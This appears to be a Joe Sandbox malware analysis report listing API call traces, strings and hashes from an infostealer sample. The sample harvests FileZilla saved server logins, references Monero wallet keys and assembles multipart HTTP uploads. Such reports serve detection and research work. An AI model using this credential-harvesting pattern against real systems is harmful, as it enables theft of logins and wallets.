lstrcat.KERNEL32(?,013FF508), ref: 007A79C9
lstrcat.KERNEL32(?,013FF5F8), ref: 007A79DD
lstrcat.KERNEL32(?,013FF568), ref: 007A79F1
lstrcat.KERNEL32(?,013FF628), ref: 007A7A04
lstrcat.KERNEL32(?,013E80C0), ref: 007A7A18
lstrcat.KERNEL32(?,?), ref: 007A7A2C
lstrcat.KERNEL32(?,?), ref: 007A7A40
lstrcat.KERNEL32(?,?), ref: 007A7A54
lstrcat.KERNEL32(?,013FF508), ref: 007A7A68
lstrcat.KERNEL32(?,013FF5F8), ref: 007A7A7B
lstrcat.KERNEL32(?,013FF568), ref: 007A7A8F
lstrcat.KERNEL32(?,013FF628), ref: 007A7AA3
lstrcat.KERNEL32(?,013E8740), ref: 007A7AB6
lstrcat.KERNEL32(?,?), ref: 007A7ACA
lstrcat.KERNEL32(?,?), ref: 007A7ADE
lstrcat.KERNEL32(?,?), ref: 007A7AF2
lstrcat.KERNEL32(?,013FF508), ref: 007A7B06
lstrcat.KERNEL32(?,013FF5F8), ref: 007A7B1A
lstrcat.KERNEL32(?,013FF568), ref: 007A7B2D
lstrcat.KERNEL32(?,013FF628), ref: 007A7B41
lstrcat.KERNEL32(?,013E84D0), ref: 007A7B55
lstrcat.KERNEL32(?,?), ref: 007A7B69
lstrcat.KERNEL32(?,?), ref: 007A7B7D
lstrcat.KERNEL32(?,?), ref: 007A7B91
lstrcat.KERNEL32(?,013FF508), ref: 007A7BA4
lstrcat.KERNEL32(?,013FF5F8), ref: 007A7BB8
lstrcat.KERNEL32(?,013FF568), ref: 007A7BCC
lstrcat.KERNEL32(?,013FF628), ref: 007A7BDF
lstrcat.KERNEL32(?,013E8400), ref: 007A7BF3
lstrcat.KERNEL32(?,?), ref: 007A7C07
lstrcat.KERNEL32(?,?), ref: 007A7C1B
lstrcat.KERNEL32(?,?), ref: 007A7C2F
lstrcat.KERNEL32(?,013FF508), ref: 007A7C43
lstrcat.KERNEL32(?,013FF5F8), ref: 007A7C56
lstrcat.KERNEL32(?,013FF568), ref: 007A7C6A
lstrcat.KERNEL32(?,013FF628), ref: 007A7C7E

Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,007C17FC), ref: 007A7606
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,00000000), ref: 007A7648
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020, : ), ref: 007A765A
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,00000000), ref: 007A768F
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,007C1804), ref: 007A76A0
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,00000000), ref: 007A76D3
Part of subcall function 007A75D0: lstrcat.KERNEL32(35C4E020,007C1808), ref: 007A76ED
Part of subcall function 007A75D0: task.LIBCPMTD ref: 007A76FB

lstrcat.KERNEL32(?,013FF930), ref: 007A7E0B
lstrcat.KERNEL32(?,013FE9B0), ref: 007A7E1E
lstrlen.KERNEL32(35C4E020), ref: 007A7E2B
lstrlen.KERNEL32(35C4E020), ref: 007A7E3B

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: be12cdcebdd33d93060b0994573774d1fb704697d06fd031302024f30b3cd4b8
Instruction ID: 90084ee69c4f9714617daec528e08b235ed1f26674422286c11c9958cb1ebc46
Opcode Fuzzy Hash: be12cdcebdd33d93060b0994573774d1fb704697d06fd031302024f30b3cd4b8
Instruction Fuzzy Hash: CA321EB2C14354ABDB15EBA0DCC9DEA737CBB44700F044688B219A6091EE78FB85DF52

Function 007B0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007A99EC
Part of subcall function 007A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007A9A11
Part of subcall function 007A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007A9A31
Part of subcall function 007A99C0: ReadFile.KERNEL32(000000FF,?,00000000,007A148F,00000000), ref: 007A9A5A
Part of subcall function 007A99C0: LocalFree.KERNEL32(007A148F), ref: 007A9A90
Part of subcall function 007A99C0: CloseHandle.KERNEL32(000000FF), ref: 007A9A9A

Part of subcall function 007B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007B8E52

GetProcessHeap.KERNEL32(00000000,000F423F,007C0DBA,007C0DB7,007C0DB6,007C0DB3), ref: 007B0362
RtlAllocateHeap.NTDLL(00000000), ref: 007B0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 007B0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 007B03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 007B0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 007B0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 007B0562
lstrcat.KERNEL32(?,profile: null), ref: 007B0571
lstrcat.KERNEL32(?,url: ), ref: 007B0580
lstrcat.KERNEL32(?,00000000), ref: 007B0593
lstrcat.KERNEL32(?,007C1678), ref: 007B05A2
lstrcat.KERNEL32(?,00000000), ref: 007B05B5
lstrcat.KERNEL32(?,007C167C), ref: 007B05C4
lstrcat.KERNEL32(?,login: ), ref: 007B05D3
lstrcat.KERNEL32(?,00000000), ref: 007B05E6
lstrcat.KERNEL32(?,007C1688), ref: 007B05F5
lstrcat.KERNEL32(?,password: ), ref: 007B0604
lstrcat.KERNEL32(?,00000000), ref: 007B0617
lstrcat.KERNEL32(?,007C1698), ref: 007B0626
lstrcat.KERNEL32(?,007C169C), ref: 007B0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007C0DB2), ref: 007B068E

Strings

browser: FileZilla, xrefs: 007B0559
<Host>, xrefs: 007B037C
password: , xrefs: 007B05FB
login: , xrefs: 007B05CA
url: , xrefs: 007B0577
<Pass encoding="base64">, xrefs: 007B045A
profile: null, xrefs: 007B0568
<Port>, xrefs: 007B03C6
<User>, xrefs: 007B0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 007B02A4

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 5891c620984543c97e202fe17ba60471e491d124a2e960cc578762ea552c8961
Instruction ID: 371522c1fe5e3a34fc58540d8cd876ab46adfe649d0ffe3d6e2f338fc27b7780
Opcode Fuzzy Hash: 5891c620984543c97e202fe17ba60471e491d124a2e960cc578762ea552c8961
Instruction Fuzzy Hash: 38D1FB71910208FBDB04FBE4DD9AFEE7778AF54300F508518F502B6191DE78AA46DBA2

Function 007A5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
Part of subcall function 007A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

lstrlen.KERNEL32(00000000), ref: 007A5193

Part of subcall function 007B8EA0: CryptBinaryToStringA.CRYPT32(00000000,007A5184,40000001,00000000,00000000,?,007A5184), ref: 007B8EC0

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007A5207
StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007A5340
HttpOpenRequestA.WININET(00000000,013FF8F0,?,013FF0B8,00000000,00000000,00400100,00000000), ref: 007A53A4

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,013FF960,00000000,?,013FB708,00000000,?,007C19DC,00000000,?,007B51CF), ref: 007A5737
lstrlen.KERNEL32(00000000), ref: 007A574B
GetProcessHeap.KERNEL32(00000000,?), ref: 007A575C
RtlAllocateHeap.NTDLL(00000000), ref: 007A5763
lstrlen.KERNEL32(00000000), ref: 007A5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007A57A9
lstrlen.KERNEL32(00000000), ref: 007A57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007A57E1
lstrlen.KERNEL32(00000000,?,?), ref: 007A580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007A5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007A584D
InternetCloseHandle.WININET(00000000), ref: 007A58B1
InternetCloseHandle.WININET(00000000), ref: 007A58BE
InternetCloseHandle.WININET(00000000), ref: 007A58C8

Strings

", xrefs: 007A55C4
------, xrefs: 007A54F9
", xrefs: 007A5706
------, xrefs: 007A53B7
------, xrefs: 007A5297
", xrefs: 007A5482
--, xrefs: 007A5280
------, xrefs: 007A563B

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 1826c80d7a8032a46dfafef49c3b026dfc86b6e46a23a0bc5d39689a0b58c795
Instruction ID: 7e056154979c87201a935159e9d18410d2a53c76c06b6379cda9cfa709a4d1ae
Opcode Fuzzy Hash: 1826c80d7a8032a46dfafef49c3b026dfc86b6e46a23a0bc5d39689a0b58c795
Instruction Fuzzy Hash: 7632DA71920118FADB15FBA0DC99FEEB378BF54700F4041A9B10666492EF787A49CF62

Function 007AA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BAA70: StrCmpCA.SHLWAPI(013F8EE0,007AA7A7,?,007AA7A7,013F8EE0), ref: 007BAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007AAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 007AAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 007AABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007AA8B0

Part of subcall function 007BA820: lstrlen.KERNEL32(007A4F05,?,?,007A4F05,007C0DDE), ref: 007BA82B
Part of subcall function 007BA820: lstrcpy.KERNEL32(007C0DDE,00000000), ref: 007BA885

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

lstrcat.KERNEL32(?,00000000), ref: 007AACEB
lstrcat.KERNEL32(?,007C1320), ref: 007AACFA
lstrcat.KERNEL32(?,00000000), ref: 007AAD0D
lstrcat.KERNEL32(?,007C1324), ref: 007AAD1C
lstrcat.KERNEL32(?,00000000), ref: 007AAD2F
lstrcat.KERNEL32(?,007C1328), ref: 007AAD3E
lstrcat.KERNEL32(?,00000000), ref: 007AAD51
lstrcat.KERNEL32(?,007C132C), ref: 007AAD60
lstrcat.KERNEL32(?,00000000), ref: 007AAD73
lstrcat.KERNEL32(?,007C1330), ref: 007AAD82
lstrcat.KERNEL32(?,00000000), ref: 007AAD95
lstrcat.KERNEL32(?,007C1334), ref: 007AADA4
lstrcat.KERNEL32(?,00000000), ref: 007AADB7
lstrlen.KERNEL32(?), ref: 007AAE0D
lstrlen.KERNEL32(?), ref: 007AAE1C

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

DeleteFileA.KERNEL32(00000000), ref: 007AAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 007AABD4

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 20897fcf46b93e184def932204bb51633c2bca26fb2d23cc097445737bda4b55
Instruction ID: 404b30184372f3c253514c55c1e550e8933da28c0ee902eef2b1b88a26bd61b2
Opcode Fuzzy Hash: 20897fcf46b93e184def932204bb51633c2bca26fb2d23cc097445737bda4b55
Instruction Fuzzy Hash: 7F120E71910108FBDB15FBA0DDAAFEE7378AF54301F504168F506A64A1DF38AE09DB62

Function 007A5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
Part of subcall function 007A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007A59F8
StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007A5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013FF970,00000000,?,013FB708,00000000,?,007C1A1C), ref: 007A5E71
lstrlen.KERNEL32(00000000), ref: 007A5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 007A5E93
RtlAllocateHeap.NTDLL(00000000), ref: 007A5E9A
lstrlen.KERNEL32(00000000), ref: 007A5EAF
lstrlen.KERNEL32(00000000), ref: 007A5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007A5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 007A5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007A5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 007A5F4C
InternetCloseHandle.WININET(00000000), ref: 007A5FB0
InternetCloseHandle.WININET(00000000), ref: 007A5FBD
HttpOpenRequestA.WININET(00000000,013FF8F0,?,013FF0B8,00000000,00000000,00400100,00000000), ref: 007A5BF8

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

InternetCloseHandle.WININET(00000000), ref: 007A5FC7

Strings

------, xrefs: 007A5A96
------, xrefs: 007A5D4C
", xrefs: 007A5CD5
------, xrefs: 007A5C0B
", xrefs: 007A5E16

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
